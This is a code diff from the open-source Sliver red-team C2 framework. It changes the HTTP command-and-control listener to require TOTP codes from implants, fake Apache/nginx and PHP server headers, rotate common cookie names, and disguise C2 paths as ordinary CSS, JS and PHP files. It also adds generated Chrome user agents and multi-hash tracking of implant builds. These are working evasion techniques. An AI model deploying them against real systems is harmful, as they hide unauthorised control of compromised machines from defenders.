@@ -128,6 +131,8 @@ message FileInfo {
string Name = 1;
bool IsDir = 2;
int64 Size = 3;
int64 ModTime = 4;
string Mode = 5;
}
message CdReq {
@@ -826,6 +831,8 @@ message WindowsPrivilegeEntry {
message GetPrivs {
repeated WindowsPrivilegeEntry PrivInfo = 1;
string ProcessIntegrity = 2;
string ProcessName = 3;
commonpb.Response Response = 9;
}
File renamed without changes.
+140 -32
View File
@@ -19,6 +19,7 @@ package c2
*/
import (
"bytes"
"context"
"crypto/rand"
"crypto/sha256"
@@ -27,19 +28,23 @@ import (
"encoding/base64"
"encoding/hex"
"encoding/pem"
"errors"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"net"
"net/http"
"net/url"
"path/filepath"
"strconv"
"strings"
"sync"
"time"
"unicode"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/cryptography"
sliverHandlers "github.com/bishopfox/sliver/server/handlers"
@@ -54,14 +59,20 @@ import (
var (
httpLog = log.NamedLogger("c2", "http")
accessLog = log.NamedLogger("c2", "http-access")
ErrMissingNonce = errors.New("nonce not found in request")
ErrMissingOTP = errors.New("otp code not found in request")
)
const (
defaultHTTPTimeout = time.Second * 60
pollTimeout = defaultHTTPTimeout - 5
sessionCookieName = "PHPSESSID"
)
func init() {
insecureRand.Seed(time.Now().UnixNano())
}
// HTTPSession - Holds data related to a sliver c2 session
type HTTPSession struct {
ID string
@@ -135,6 +146,7 @@ type SliverHTTPC2 struct {
HTTPSessions *HTTPSessions
SliverStage []byte // Sliver shellcode to serve during staging process
Cleanup func()
EnforceOTP bool
server string
poweredBy string
@@ -142,15 +154,30 @@ type SliverHTTPC2 struct {
func (s *SliverHTTPC2) getServerHeader() string {
if s.server == "" {
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(43))
switch insecureRand.Intn(1) {
case 0:
s.server = fmt.Sprintf("Apache/2.4.%d (Unix)", insecureRand.Intn(48))
default:
s.server = fmt.Sprintf("nginx/1.%d.%d (Ubuntu)", insecureRand.Intn(21), insecureRand.Intn(8))
}
}
return s.server
}
func (s *SliverHTTPC2) getCookieName() string {
cookies := configs.GetHTTPC2Config().ServerConfig.Cookies
index := insecureRand.Intn(len(cookies))
return cookies[index]
}
func (s *SliverHTTPC2) getPoweredByHeader() string {
if s.poweredBy == "" {
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d",
insecureRand.Intn(3), insecureRand.Intn(17))
switch insecureRand.Intn(1) {
case 0:
s.poweredBy = fmt.Sprintf("PHP/8.0.%d", insecureRand.Intn(10))
default:
s.poweredBy = fmt.Sprintf("PHP/7.%d.%d", insecureRand.Intn(4), insecureRand.Intn(20))
}
}
return s.poweredBy
}
@@ -167,6 +194,7 @@ func StartHTTPSListener(conf *HTTPServerConfig) (*SliverHTTPC2, error) {
active: &map[string]*HTTPSession{},
mutex: &sync.RWMutex{},
},
EnforceOTP: true,
}
server.HTTPServer = &http.Server{
Addr: conf.Addr,
@@ -257,17 +285,17 @@ func (s *SliverHTTPC2) router() *mux.Router {
// Procedural C2
// ===============
// .txt = rsakey
// .jsp = start
// .php = session
// .js = poll
// 1.phtml / .php = start / session
// .js = poll
// .png = stop
// .woff = sliver shellcode
router.HandleFunc("/{rpath:.*\\.txt$}", s.rsaKeyHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.jsp$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.phtml$}", s.startSessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.php$}", s.sessionHandler).MatcherFunc(filterNonce).Methods(http.MethodGet, http.MethodPost)
router.HandleFunc("/{rpath:.*\\.js$}", s.pollHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
router.HandleFunc("/{rpath:.*\\.png$}", s.stopHandler).MatcherFunc(filterNonce).Methods(http.MethodGet)
// Can't force the user agent on the stager payload
// Request from msf stager payload will look like:
// GET /fonts/Inter-Medium.woff/B64_ENCODED_PAYLOAD_UUID
@@ -291,18 +319,64 @@ func (s *SliverHTTPC2) router() *mux.Router {
// This filters requests that do not have a valid nonce
func filterNonce(req *http.Request, rm *mux.RouteMatch) bool {
qNonce := req.URL.Query().Get("_")
nonce, err := strconv.Atoi(qNonce)
nonce, err := getNonceFromURL(req.URL)
if err != nil {
httpLog.Warnf("Invalid nonce '%s' ignore request", qNonce)
httpLog.Warnf("Invalid nonce '%d' ignore request", nonce)
return false // NaN
}
return true
}
func getNonceFromURL(reqURL *url.URL) (int, error) {
qNonce := ""
for arg, values := range reqURL.Query() {
if len(arg) == 1 {
qNonce = digitsOnly(values[0])
break
}
}
if qNonce == "" {
httpLog.Warnf("Nonce not found in request", qNonce)
return 0, ErrMissingNonce
}
nonce, err := strconv.Atoi(qNonce)
if err != nil {
httpLog.Warnf("Invalid nonce, failed to parse '%s'", qNonce)
return 0, err
}
httpLog.Debugf("Request nonce = %d", nonce)
_, _, err = encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Warnf("Invalid nonce (%d) ignore request", nonce)
return false // Not a valid encoder
httpLog.Warnf("Invalid nonce (%s)", err)
return 0, err
}
return true
return nonce, nil
}
func getOTPFromURL(reqURL *url.URL) (string, error) {
otpCode := ""
for arg, values := range reqURL.Query() {
if len(arg) == 2 {
otpCode = digitsOnly(values[0])
break
}
}
if otpCode == "" {
httpLog.Warnf("OTP not found in request", otpCode)
return "", ErrMissingNonce
}
httpLog.Debugf("Request OTP = %s", otpCode)
return otpCode, nil
}
func digitsOnly(value string) string {
var buf bytes.Buffer
for _, char := range value {
if unicode.IsDigit(char) {
buf.WriteRune(char)
}
}
return buf.String()
}
func loggingMiddleware(next http.Handler) http.Handler {
@@ -357,8 +431,23 @@ func default404Handler(resp http.ResponseWriter, req *http.Request) {
// [ HTTP Handlers ] ---------------------------------------------------------------
func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request) {
qNonce := req.URL.Query().Get("_")
nonce, err := strconv.Atoi(qNonce)
httpLog.Info("Public key request")
if s.EnforceOTP {
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
resp.WriteHeader(404)
return
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
}
if !valid {
resp.WriteHeader(404)
return
}
}
nonce, _ := getNonceFromURL(req.URL)
certPEM, _, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
if err != nil {
httpLog.Infof("Failed to get server certificate for cn = '%s': %s", s.Conf.Domain, err)
@@ -371,11 +460,27 @@ func (s *SliverHTTPC2) rsaKeyHandler(resp http.ResponseWriter, req *http.Request
}
func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Info("Start session request")
if s.EnforceOTP {
otpCode, err := getOTPFromURL(req.URL)
if err != nil {
resp.WriteHeader(404)
return
}
valid, err := cryptography.ValidateTOTP(otpCode)
if err != nil {
httpLog.Warnf("Failed to validate OTP %s", err)
}
if !valid {
resp.WriteHeader(404)
return
}
}
// Note: these are the c2 certificates NOT the certificates/keys used for SSL/TLS
publicKeyPEM, privateKeyPEM, err := certs.GetCertificate(certs.C2ServerCA, certs.RSAKey, s.Conf.Domain)
if err != nil {
httpLog.Info("Failed to fetch rsa private key")
httpLog.Warn("Failed to fetch rsa private key")
resp.WriteHeader(404)
return
}
@@ -386,14 +491,18 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
privateKeyBlock, _ := pem.Decode([]byte(privateKeyPEM))
privateKey, _ := x509.ParsePKCS1PrivateKey(privateKeyBlock.Bytes)
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
httpLog.Warnf("Request specified an invalid encoder (%d)", nonce)
resp.WriteHeader(404)
return
}
body, _ := ioutil.ReadAll(req.Body)
body, err := ioutil.ReadAll(req.Body)
if err != nil {
httpLog.Errorf("Failed to read body %s", err)
resp.WriteHeader(404)
}
data, err := encoder.Decode(body)
if err != nil {
httpLog.Errorf("Failed to decode body %s", err)
@@ -403,7 +512,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
sessionInitData, err := cryptography.RSADecrypt(data, privateKey)
if err != nil {
httpLog.Info("RSA decryption failed")
httpLog.Error("RSA decryption failed")
resp.WriteHeader(404)
return
}
@@ -432,7 +541,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
}
http.SetCookie(resp, &http.Cookie{
Domain: s.Conf.Domain,
Name: sessionCookieName,
Name: s.getCookieName(),
Value: httpSession.ID,
Secure: true,
HttpOnly: true,
@@ -441,7 +550,7 @@ func (s *SliverHTTPC2) startSessionHandler(resp http.ResponseWriter, req *http.R
}
func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Request) {
httpLog.Info("Session request")
httpSession := s.getHTTPSession(req)
if httpSession == nil {
httpLog.Infof("No session with id %#v", httpSession.ID)
@@ -449,7 +558,7 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
return
}
nonce, err := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, err := encoders.EncoderFromNonce(nonce)
if err != nil {
httpLog.Infof("Request specified an invalid encoder (%d)", nonce)
@@ -489,7 +598,9 @@ func (s *SliverHTTPC2) sessionHandler(resp http.ResponseWriter, req *http.Reques
handler.(func(*core.Session, []byte))(httpSession.Session, envelope.Data)
}
resp.WriteHeader(200)
// TODO: Return random data?
}
func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request) {
@@ -501,7 +612,7 @@ func (s *SliverHTTPC2) pollHandler(resp http.ResponseWriter, req *http.Request)
}
// We already know we have a valid nonce because of the middleware filter
nonce, _ := strconv.Atoi(req.URL.Query().Get("_"))
nonce, _ := getNonceFromURL(req.URL)
_, encoder, _ := encoders.EncoderFromNonce(nonce)
select {
case envelope := <-httpSession.Session.Send:
@@ -556,13 +667,10 @@ func (s *SliverHTTPC2) stagerHander(resp http.ResponseWriter, req *http.Request)
func (s *SliverHTTPC2) getHTTPSession(req *http.Request) *HTTPSession {
for _, cookie := range req.Cookies() {
if cookie.Name == sessionCookieName {
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.Session.UpdateCheckin()
return httpSession
}
return nil
httpSession := s.HTTPSessions.Get(cookie.Value)
if httpSession != nil {
httpSession.Session.UpdateCheckin()
return httpSession
}
}
return nil // No valid cookie names
File renamed without changes.
File renamed without changes.
+302
View File
@@ -0,0 +1,302 @@
package configs
/*
Sliver Implant Framework
Copyright (C) 2021 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <https://www.gnu.org/licenses/>.
*/
import (
"encoding/json"
"fmt"
"io/ioutil"
insecureRand "math/rand"
"os"
"path"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/log"
)
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 89
)
// HTTPC2Config - Parent config file struct for implant/server
type HTTPC2Config struct {
ImplantConfig *HTTPC2ImplantConfig `json:"implant_config"`
ServerConfig *HTTPC2ServerConfig `json:"server_config"`
}
// GenerateUserAgent - Generate a user-agent depending on OS/Arch
func (h *HTTPC2Config) GenerateUserAgent(goos string, goarch string) string {
return h.generateChromeUserAgent(goos, goarch)
}
func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) string {
if h.ImplantConfig.UserAgent == "" {
switch goos {
case "windows":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
case "linux":
switch goarch {
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
case "darwin":
switch goarch {
case "arm64":
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
}
} else {
return h.ImplantConfig.UserAgent
}
// Default is a generic Windows/Chrome
return fmt.Sprintf("Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
}
// ChromeVer - Generate a random Chrome user-agent
func (h *HTTPC2Config) ChromeVer() string {
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
}
// RandomImplantConfig - Randomly generate a config
func (h *HTTPC2Config) RandomImplantConfig() *HTTPC2ImplantConfig {
return &HTTPC2ImplantConfig{
UserAgent: h.ImplantConfig.UserAgent,
MaxFiles: h.ImplantConfig.MaxFiles,
MaxPaths: h.ImplantConfig.MaxPaths,
CssFiles: h.ImplantConfig.RandomCssFiles(),
CssPaths: h.ImplantConfig.RandomCssPaths(),
JsFiles: h.ImplantConfig.RandomJsFiles(),
JsPaths: h.ImplantConfig.RandomJsPaths(),
TxtFiles: h.ImplantConfig.RandomTxtFiles(),
TxtPaths: h.ImplantConfig.RandomTxtPaths(),
PngFiles: h.ImplantConfig.RandomPngFiles(),
PngPaths: h.ImplantConfig.RandomPngPaths(),
PhpFiles: h.ImplantConfig.RandomPhpFiles(),
PhpPaths: h.ImplantConfig.RandomPhpPaths(),
}
}
// HTTPC2ServerConfig - Server configuration options
type HTTPC2ServerConfig struct {
Headers []string `json:"headers"`
Cookies []string `json:"cookies"`
}
// HTTPC2ImplantConfig - Implant configuration options
// Procedural C2
// ===============
// .txt = rsakey
// .css = start
// .php = session
// .js = poll
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
URLParameters []string `json:"url_parameters"`
Headers []string `json:"headers"`
MaxFiles int `json:"max_files"`
MinFiles int `json:"min_files"`
MaxPaths int `json:"max_paths"`
MinPaths int `json:"min_paths"`
// CSS files and paths
CssFiles []string `json:"css_files"`
CssPaths []string `json:"css_paths"`
// JS files and paths
JsFiles []string `json:"js_files"`
JsPaths []string `json:"js_paths"`
// Txt files and paths
TxtFiles []string `json:"txt_files"`
TxtPaths []string `json:"txt_paths"`
// Png files and paths
PngFiles []string `json:"png_files"`
PngPaths []string `json:"png_paths"`
// Php files and paths
PhpFiles []string `json:"php_files"`
PhpPaths []string `json:"php_paths"`
}
func (h *HTTPC2ImplantConfig) RandomCssFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.CssFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomCssPaths() []string {
return h.randomSample(h.CssPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomJsFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.JsFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomJsPaths() []string {
return h.randomSample(h.JsPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomTxtFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.TxtFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomTxtPaths() []string {
return h.randomSample(h.TxtPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomPngFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.PngFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomPngPaths() []string {
return h.randomSample(h.PngPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) RandomPhpFiles() []string {
min := h.MinFiles
if min < 1 {
min = 1
}
return h.randomSample(h.PhpFiles, min, h.MaxFiles)
}
func (h *HTTPC2ImplantConfig) RandomPhpPaths() []string {
return h.randomSample(h.PhpPaths, h.MinPaths, h.MaxPaths)
}
func (h *HTTPC2ImplantConfig) randomSample(values []string, min int, max int) []string {
count := insecureRand.Intn(len(values))
if count < min {
count = min
}
if max < count {
count = max
}
sample := []string{}
for i := 0; len(sample) < count; i++ {
index := (count + i) % len(values)
sample = append(sample, values[index])
}
return sample
}
var (
httpC2ConfigLog = log.NamedLogger("config", "http-c2")
defaultHTTPC2Config = &HTTPC2Config{
ServerConfig: &HTTPC2ServerConfig{
Cookies: []string{"PHPSESSID", "SID", "SSID", "APISID", "csrf-state", "AWSALBCORS"},
},
ImplantConfig: &HTTPC2ImplantConfig{
UserAgent: "", // Blank string is rendered as randomized platform user-agent
MaxFiles: 8,
MinFiles: 2,
MaxPaths: 8,
MinPaths: 2,
CssFiles: []string{"bootstrap.css", "bootstrap.min.css", "vendor.css"},
CssPaths: []string{"css", "styles", "style", "stylesheets", "stylesheet"},
JsFiles: []string{"bootstrap.js", "bootstrap.min.js", "jquery.min.js", "jquery.js"},
JsPaths: []string{"js", "umd", "assets", "bundle", "bundles", "scripts", "script", "javascripts", "javascript"},
TxtFiles: []string{"robots.txt", "sample.txt", "readme.txt", "example.txt"},
TxtPaths: []string{"static", "www", "assets", "text", "docs", "sample"},
PngFiles: []string{"favicon.png", "sample.png", "example.png"},
PngPaths: []string{"static", "www", "assets", "images", "icons"},
PhpFiles: []string{"login.php", "signin.php", "api.php", "samples.php", "rpc.php"},
PhpPaths: []string{"php", "api", "upload", "actions", "rest", "v1", "async"},
},
}
)
// GetHTTPC2ConfigPath - File path to http-c2.json
func GetHTTPC2ConfigPath() string {
appDir := assets.GetRootAppDir()
httpC2ConfigPath := path.Join(appDir, "configs", httpC2ConfigFileName)
return httpC2ConfigPath
}
// GetHTTPC2Config - Get the current HTTP C2 config
func GetHTTPC2Config() *HTTPC2Config {
configPath := GetHTTPC2ConfigPath()
if _, err := os.Stat(configPath); os.IsNotExist(err) {
err = generateDefaultConfig(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to generate http c2 config %s", err)
return defaultHTTPC2Config
}
}
data, err := ioutil.ReadFile(configPath)
if err != nil {
httpC2ConfigLog.Errorf("Failed to read http c2 config %s", err)
return defaultHTTPC2Config
}
config := &HTTPC2Config{}
err = json.Unmarshal(data, config)
if err != nil {
httpC2ConfigLog.Errorf("Failed to parse http c2 config %s", err)
return defaultHTTPC2Config
}
return config
}
func generateDefaultConfig(saveTo string) error {
data, err := json.MarshalIndent(defaultHTTPC2Config, "", " ")
if err != nil {
return err
}
return ioutil.WriteFile(saveTo, data, 0600)
}
+3 -3
View File
@@ -36,7 +36,7 @@ var (
sessions: map[uint32]*Session{},
mutex: &sync.RWMutex{},
}
hiveID = uint32(0)
rollingSessionID = uint32(0)
// ErrUnknownMessageType - Returned if the implant did not understand the message for
// example when the command is not supported on the platform
@@ -211,8 +211,8 @@ func (s *sessions) Remove(sessionID uint32) {
// NextSessionID - Returns an incremental nonce as an id
func NextSessionID() uint32 {
newID := hiveID + 1
hiveID++
newID := rollingSessionID + 1
rollingSessionID++
return newID
}
+66 -1
View File
@@ -30,6 +30,14 @@ import (
"crypto/sha256"
"errors"
"io"
"io/ioutil"
"os"
"path"
"time"
"github.com/bishopfox/sliver/server/assets"
"github.com/pquerna/otp"
"github.com/pquerna/otp/totp"
)
const (
@@ -38,11 +46,15 @@ const (
// GCMNonceSize - 96 bit nonces for GCM
GCMNonceSize = 12
// TOTPDigits - Number of digits in the TOTP
TOTPDigits = 8
TOTPPeriod = uint(30)
)
var (
// ErrInvalidKeyLength - Invalid key length
ErrInvalidKeyLength = errors.New("Invalid length")
ErrInvalidKeyLength = errors.New("invalid length")
)
// AESKey - 256 bit key
@@ -136,3 +148,56 @@ func GCMDecrypt(key AESKey, ciphertext []byte) ([]byte, error) {
}
return plaintext, nil
}
// TOTPOptions - Customized totp validation options
func TOTPOptions() totp.ValidateOpts {
return totp.ValidateOpts{
Digits: TOTPDigits,
Algorithm: otp.AlgorithmSHA256,
Period: TOTPPeriod,
Skew: uint(1),
}
}
// TOTPServerSecret - Get the server-wide totp secret value, the goal of the totp
// is for the implant to prove it was generated by this server. To that end we simply
// use a server-wide secret and ignore issuers/accounts. In order to bypass this check
// you'd have to extract the totp secret from a binary generated by the server.
func TOTPServerSecret() (string, error) {
totpSecretPath := path.Join(assets.GetRootAppDir(), "totp")
if _, err := os.Stat(totpSecretPath); os.IsNotExist(err) {
return totpGenerateSecret(totpSecretPath)
} else {
data, err := ioutil.ReadFile(totpSecretPath)
return string(data), err
}
}
// ValidateTOTP - Validate a TOTP code
func ValidateTOTP(code string) (bool, error) {
secret, err := TOTPServerSecret()
if err != nil {
return false, err
}
valid, err := totp.ValidateCustom(code, secret, time.Now().UTC(), TOTPOptions())
if err != nil {
return false, err
}
return valid, nil
}
func totpGenerateSecret(saveTo string) (string, error) {
otpSecret, err := totp.Generate(totp.GenerateOpts{
Issuer: "foo",
AccountName: "bar",
Digits: TOTPDigits,
Algorithm: otp.AlgorithmSHA256,
Period: TOTPPeriod,
})
if err != nil {
return "", err
}
secret := otpSecret.Secret()
err = ioutil.WriteFile(saveTo, []byte(secret), 0600)
return secret, err
}
+13
View File
@@ -25,6 +25,7 @@ package db
import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/gofrs/uuid"
"gorm.io/gorm"
)
@@ -33,6 +34,18 @@ var (
ErrRecordNotFound = gorm.ErrRecordNotFound
)
// ImplantConfigByID - Fetch implant build by name
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
config := models.ImplantConfig{}
err := Session().Where(&models.ImplantConfig{
ID: uuid.FromStringOrNil(id),
}).First(&config).Error
if err != nil {
return nil, err
}
return &config, err
}
// ImplantBuilds - Return all implant builds
func ImplantBuilds() ([]*models.ImplantBuild, error) {
builds := []*models.ImplantBuild{}
+8 -3
View File
@@ -34,8 +34,12 @@ type ImplantBuild struct {
CreatedAt time.Time `gorm:"->;<-:create;"`
Name string `gorm:"unique;"`
// Checksum stores the MD5 sum of an implant binary
Checksum string
// Checksums stores of the implant binary
MD5 string
SHA1 string
SHA256 string
// Burned indicates whether the implant
// has been seen on threat intel platforms
Burned bool
@@ -68,7 +72,6 @@ type ImplantConfig struct {
GOARCH string
// Standard
// Name string
CACert string
Cert string
Key string
@@ -127,6 +130,8 @@ func (ic *ImplantConfig) BeforeCreate(tx *gorm.DB) (err error) {
// ToProtobuf - Convert ImplantConfig to protobuf equiv
func (ic *ImplantConfig) ToProtobuf() *clientpb.ImplantConfig {
config := &clientpb.ImplantConfig{
ID: ic.ID.String(),
GOOS: ic.GOOS,
GOARCH: ic.GOARCH,
+32 -5
View File
@@ -35,6 +35,8 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/server/assets"
"github.com/bishopfox/sliver/server/certs"
"github.com/bishopfox/sliver/server/configs"
"github.com/bishopfox/sliver/server/cryptography"
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/gogo"
"github.com/bishopfox/sliver/server/log"
@@ -480,6 +482,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
config.Cert = string(sliverCert)
config.Key = string(sliverKey)
otpSecret, err := cryptography.TOTPServerSecret()
if err != nil {
return "", err
}
// Generate wg Keys as needed
if config.WGc2Enabled {
implantPrivKey, _, err := certs.ImplantGenerateWGKeys(config.WGPeerTunIP)
@@ -492,6 +499,11 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
config.WGServerPubKey = serverPubKey
}
err = ImplantConfigSave(config)
if err != nil {
return "", err
}
// binDir - ~/.sliver/slivers/<os>/<arch>/<name>/bin
binDir := path.Join(projectGoPathDir, "bin")
os.MkdirAll(binDir, 0700)
@@ -599,17 +611,32 @@ func renderSliverGoCode(name string, config *models.ImplantConfig, goConfig *gog
buf := bytes.NewBuffer([]byte{})
buildLog.Infof("[render] %s -> %s", boxName, sliverCodePath)
// Render code
sliverCodeTmpl := template.Must(template.New("sliver").Parse(sliverGoCode))
// --------------
// Render Code
// --------------
sliverCodeTmpl := template.New("sliver")
sliverCodeTmpl, err = sliverCodeTmpl.Funcs(template.FuncMap{
"GenerateUserAgent": func() string {
return configs.GetHTTPC2Config().GenerateUserAgent(config.GOOS, config.GOARCH)
},
}).Parse(sliverGoCode)
if err != nil {
buildLog.Errorf("Template parsing error %s", err)
return "", err
}
err = sliverCodeTmpl.Execute(buf, struct {
Name string
Config *models.ImplantConfig
Name string
Config *models.ImplantConfig
OTPSecret string
HTTPC2Config *configs.HTTPC2ImplantConfig
}{
name,
config,
otpSecret,
configs.GetHTTPC2Config().RandomImplantConfig(),
})
if err != nil {
buildLog.Error(err)
buildLog.Errorf("Template execution error %s", err)
return "", err
}
+1 -1
View File
@@ -6,7 +6,7 @@ import (
"path/filepath"
"strings"
"github.com/binject/go-donut/donut"
"github.com/Binject/go-donut/donut"
)
// DonutShellcodeFromFile returns a Donut shellcode for the given PE file
+29 -3
View File
@@ -20,6 +20,8 @@ package generate
import (
"crypto/md5"
"crypto/sha1"
"crypto/sha256"
"encoding/hex"
"errors"
"fmt"
@@ -34,6 +36,7 @@ import (
"github.com/bishopfox/sliver/server/db/models"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/watchtower"
"gorm.io/gorm/clause"
)
var (
@@ -55,6 +58,18 @@ func getBuildsDir() (string, error) {
return buildsDir, nil
}
// ImplantConfigSave - Save only the config to the database
func ImplantConfigSave(config *models.ImplantConfig) error {
dbSession := db.Session()
result := dbSession.Clauses(clause.OnConflict{
UpdateAll: true,
}).Create(&config)
if result.Error != nil {
return result.Error
}
return nil
}
// ImplantBuildSave - Saves a binary file into the database
func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) error {
rootAppDir, _ := filepath.Abs(assets.GetRootAppDir())
@@ -67,8 +82,7 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
if err != nil {
return err
}
sum := md5.Sum(data)
hash := hex.EncodeToString(sum[:])
md5Hash, sha1Hash, sha256Hash := computeHashes(data)
buildsDir, err := getBuildsDir()
if err != nil {
return err
@@ -77,7 +91,9 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
implantBuild := &models.ImplantBuild{
Name: name,
ImplantConfig: (*config),
Checksum: hash,
MD5: md5Hash,
SHA1: sha1Hash,
SHA256: sha256Hash,
}
watchtower.AddImplantToWatchlist(implantBuild)
result := dbSession.Create(&implantBuild)
@@ -88,6 +104,16 @@ func ImplantBuildSave(name string, config *models.ImplantConfig, fPath string) e
return ioutil.WriteFile(path.Join(buildsDir, implantBuild.ID.String()), data, 0600)
}
func computeHashes(data []byte) (string, string, string) {
md5Sum := md5.Sum(data)
md5Hash := hex.EncodeToString(md5Sum[:])
sha1Sum := sha1.Sum(data)
sha1Hash := hex.EncodeToString(sha1Sum[:])
sha256Sum := sha256.Sum256(data)
sha256Hash := hex.EncodeToString(sha256Sum[:])
return md5Hash, sha1Hash, sha256Hash
}
// ImplantFileFromBuild - Saves a binary file into the database
func ImplantFileFromBuild(build *models.ImplantBuild) ([]byte, error) {
buildsDir, err := getBuildsDir()
+7 -9
View File
@@ -60,14 +60,14 @@ func AddSessionHandlers(key uint32, value interface{}) {
}
func registerSessionHandler(session *core.Session, data []byte) {
register := &sliverpb.Register{}
err := proto.Unmarshal(data, register)
if err != nil {
handlerLog.Warnf("error decoding message: %v", err)
if session == nil {
return
}
if session == nil {
register := &sliverpb.Register{}
err := proto.Unmarshal(data, register)
if err != nil {
handlerLog.Errorf("Error decoding message: %s", err)
return
}
@@ -78,10 +78,8 @@ func registerSessionHandler(session *core.Session, data []byte) {
// Parse Register UUID
sessionUUID, err := uuid.Parse(register.Uuid)
if err != nil {
// Generate Random UUID
sessionUUID = uuid.New()
sessionUUID = uuid.New() // Generate Random UUID
}
session.Name = register.Name
session.Hostname = register.Hostname
session.UUID = sessionUUID.String()
@@ -161,5 +159,5 @@ func tunnelCloseHandler(session *core.Session, data []byte) {
}
func pingHandler(session *core.Session, data []byte) {
handlerLog.Infof("ping from session %d", session.ID)
handlerLog.Debugf("ping from session %d", session.ID)
}
+2 -2
View File
@@ -21,8 +21,8 @@ var (
func update(implantBuild *models.ImplantBuild) {
if watcher != nil && initialized {
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.Checksum)
watcher.Add(implantBuild.Name, implantBuild.Checksum)
watchtowerLog.Debugf("Monitoring implant %s (%s)", implantBuild.Name, implantBuild.MD5)
watcher.Add(implantBuild.Name, implantBuild.MD5)
watchtowerLog.Debugf("Implant added to the watch list")
}
}
+1 -1
View File
@@ -55,7 +55,7 @@ func EncoderFromNonce(nonce int) (int, Encoder, error) {
